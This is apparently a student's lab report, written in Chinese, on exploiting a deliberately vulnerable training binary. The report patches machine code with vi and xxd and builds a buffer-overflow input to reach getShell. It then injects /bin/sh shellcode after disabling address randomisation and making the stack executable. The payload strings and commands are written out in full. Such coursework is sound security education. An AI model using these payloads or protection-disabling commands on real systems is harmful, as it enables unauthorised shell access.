Exp1 PC平台逆向破解
目录
一、实验目标
二、基本思路
三、实验步骤
四、总结思考
一、实验目标
任务一
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
任务二
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
任务三
注入一个自己制作的shellcode并运行这段shellcode。
二、基本思路
任务一、二
对象pwn1的正常执行流程是:main调用foo函数,foo函数简单地回显任何用户输入的字符串。
但pwn1程序包含另一个getShell函数,能返回一个可用Shell。
因为程序中并未调用getShell函数,该部分代码正常情况下不会被运行。
所以,通过检验程序运行后对输入结果的反应,即可得知程序是否脱离常态,运行了getShell代码。
在此基础上,尝试用两种方法基于pwn1程序开展攻击。
任务三
shellcode字符串中既包含要执行的代码,也包含这段代码的地址。
通过输入超长字符串,让返回地址被shellcode中代码的地址覆盖,从而使代码被激活。
也就是说,即使pwn1程序中不包括getShell函数,使用合适的shellcode也能达到攻击的目的。
三、实验步骤
任务一
为避免操作失误破坏原文件,首先备份 cp pwn1 pwn4
用vi编辑器打开文件 vi pwn4
显示乱码,将显示模式切换为16进制模式(注意不要漏掉冒号 >_< ) :%!xxd
查找修改位置(包含空格) /e8 d7
按insert键进入替换模式,将d7
修改为c3
按ESC退出编辑,将十六进制格式转换为原格式 :%!xxd -r
保存并退出 :wq
反汇编,验证更改是否成功objdump -d pwn1 | more
Ctrl+C退出查看模式,运行程序 ./pwn4
pwn4反汇编对比pwn1 objdump -d pwn1 | more
结果符合预期。
任务二
调试程序 gdb pwn5
运行 r ,输入字符串。
经过试验可以发现,字符串<28个字节,程序正常运行,字符串>=28个字节,系统报错。
输入"1111111122222222333333334444444455555555"
显示寄存器的值 info r
eip寄存器显示值为35,为5的ASCII码
输入"0000000000000000000000000000000012345678"
eip寄存器显示值为34333231,为4321的ASCII码
因此,要输入的字符串为"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"
构造输入字符串 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
查看文件内容 xxd input
运行pwn5,并将构造好的字符串输入 (cat input; cat ) | ./pwn5
结果符合预期。
任务三
在按照教程进行到准备工作部分时就遇到了许多问题,
首先,输入execstack显示command no found。
我在网上搜索解决方案,最终找到了一个可以提供所有command no found情况解决办法的网站——
https://command-not-found.com/。
根据网站提示,应输入 apt-get install execstack
但此时终端报错,“E:无法定位软件包”。
再次上网搜索解决方案,提示kali源存在问题,于是按教程更改源——
https://blog.csdn.net/weixin_44151887/article/details/109728064。
但在更新源、更新系统文件后,终端仍然报错“E:无法定位软件包”。
重新寻求解决方案,原来是缺少Ubuntu更新源,于是按教程操作——
https://blog.csdn.net/sf9090/article/details/103198373。
最终经历3小时,解决了准备工作部分的问题。
归根结底,问题出在自己摸索安装kali时安装不到位,没有利用好bilibili、csdn上一众资源,忽略了源配置等工作,并且也没有看老师在发布实验任务时对该问题的解决方法(prelink)。
不过,此次经历也提升了我解决问题的能力,让我懂得了迈好实验第一步的重要性。
解决问题后,完成准备工作。
设置堆栈可执行 execstack -s pwn7
关闭地址随机化 echo "0" > /proc/sys/kernel/randomize_va_space
开始实验,直接采用老师尝试成功的RNS(retaddr+nop+shellcode)构造方法。
首先构造字符串,用于摸索返回地址的填写位置 perl -e 'print "A" x 32;print "\x01\x02\x03\x04\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
查看文件内容 xxd input_shellcode
运行pwn7,并将构造好的字符串输入 (cat input_shellcode; cat ) | ./pwn7
新建终端窗口,查看pwn7进程号 ps -ef | grep pwn7 ,进程号为3005
调试进程 gdb
调试当前进程 attach 3005
反汇编 disassemble foo
可见ret指令地址为0x080484ae,设置断点 break *0x080484ae
继续运行 c
查看esp寄存器地址 info r esp ,为0xffffd1cc
以16进制形式查看地址后16字节内容 x/16x 0xffffd1cc
找到"04030201"的位置,则shellcode起始位置:0xffffd1cc+0x00000004=0xffffd1d0
重新构造字符串 perl -e 'print "A" x 32;print "\xd0\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
运行pwn7,并将构造好的字符串输入 (cat input_shellcode; cat ) | ./pwn7
结果符合预期。
验证pwn7中没有getShell函数也可以实现功能。
先反汇编,找出getShell函数汇编指令特征。
在vi编辑器中,将与getShell函数有关的汇编指令全部改为f,使其全部失效。
实验结果无变化,shellcode正常作用。
四、总结思考
(一)掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP:90
JNE:75
JE :74
JMP:eb
CMP:39
(二)掌握反汇编与十六进制编程器
objdump =object dump项目导出
-d =disassemble反汇编
详见任务一
(三)正确修改机器指令改变程序执行流程
详见任务一
(四)正确构造payload执行bof攻击
详见任务三
(四)实验收获与感想
通过此次实验,我亲自实施了之前只在书本和概念中接触到的缓冲区溢出攻击,对这一攻击的原理、手段和防范都有了更深刻的了解。在以往的学习经历中,我对汇编指令、缓冲区溢出等概念都有了解,但这些知识对我来说是各自独立的。网络对抗技术课的这门实验通过简单实操的方式帮我连接了知识点,使我对计算机安全、网络安全有了新的认识。
本次实验我用了近一天的时间完成,对于实验的每个步骤,我都尽量理解其原理。在之前的课程学习中,经常听到缓冲区溢出攻击和它的危害,这次自己操作完成了缓冲区溢出攻击,加深了我对堆栈的结构的认识。特别是对老师在课程视频中介绍的栈帧的形成、栈顶指针的变化、堆栈的覆盖、堆栈的跳转等理解更深了。此次实验让我受益匪浅,期待接下来的其他实验。
不过,由于我实验开始前没有认真、完整地阅读云班课上的活动要求,导致终端名、文件名没有完全符合规定,直至实验完成才发现。希望老师能够谅解,我保证下不为例。我的实验全过程均在vmware软件下全屏截图,终端名为本人学号,原文件均有保留,可以保证实验为独立完成。
同时这次实验也让我学到了虚拟机等技能,增强了我解决问题的能力。
(五)什么是漏洞?漏洞有什么危害
在我看来,漏洞是一种由于不遵守开发工程管理、人为疏忽或认知水平有限导致的,平时不会影响系统/软件正常工作的,随时可能被外部利用以攻击系统/软件的缺陷。
漏洞的危害在于给系统/软件带来不确定性,使其正常、稳定运行不受保证。